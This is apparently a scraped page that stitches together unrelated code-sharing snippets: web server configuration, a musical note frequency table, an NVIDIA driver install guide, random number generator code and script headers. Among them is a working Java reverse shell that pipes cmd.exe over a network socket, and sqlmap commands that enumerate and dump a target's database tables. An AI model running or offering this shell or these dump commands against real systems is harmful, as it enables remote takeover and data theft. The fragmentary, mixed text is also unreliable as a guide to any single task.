Let's say you want to host domains first.com and second.com.
Create folders for their files:
| # | |
| # CORS header support | |
| # | |
| # One way to use this is by placing it into a file called "cors_support" | |
| # under your Nginx configuration directory and placing the following | |
| # statement inside your **location** block(s): | |
| # | |
| # include cors_support; | |
| # | |
| # As of Nginx 1.7.5, add_header supports an "always" parameter which |
| { | |
| "C0": 16.35, | |
| "C#0": 17.32, | |
| "Db0": 17.32, | |
| "D0": 18.35, | |
| "D#0": 19.45, | |
| "Eb0": 19.45, | |
| "E0": 20.60, | |
| "F0": 21.83, | |
| "F#0": 23.12, |
| String host="localhost"; | |
| int port=8044; | |
| String cmd="cmd.exe"; | |
| Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); |
In this article, I will share some of my experience on installing NVIDIA driver and CUDA on Linux OS. Here I mainly use Ubuntu as example. Comments for CentOS/Fedora are also provided as much as I can.
apt-get clean && apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y
apt-get install build-essential
sh ./NVIDIA-Linux-x86_64-367.27.run
# this will remove nouveau module during boot
update-initramfs -u
# Enumerate databases
sqlmap --dbms=mysql -u "$URL" --dbs
# Enumerate tables
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables
# Dump table data
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump| /** | |
| * Modified from the gist: https://gist.github.com/methodin/1553779 | |
| */ | |
| const seed = 42; | |
| const length = 624; | |
| const offset = 397; | |
| const multiplier = 0x6c078965; | |
| const upper = 0x80000000; |
| #!/usr/bin/env bash | |
| ############################################################ | |
| # MIGRATED TO REPOSITORY | |
| # https://github.com/tavinus/cloudsend.sh | |
| # | |
| # This gist will NOT be updated anymore | |
| ############################################################ | |
| ############################################################ |
| #! /bin/sh | |
| set +o noclobber | |
| # | |
| # $1 = scanner device | |
| # $2 = friendly name | |
| # | |
| # ============================================== | |
| # resolution: dpi | |
| # mode: color, grayscale and so on |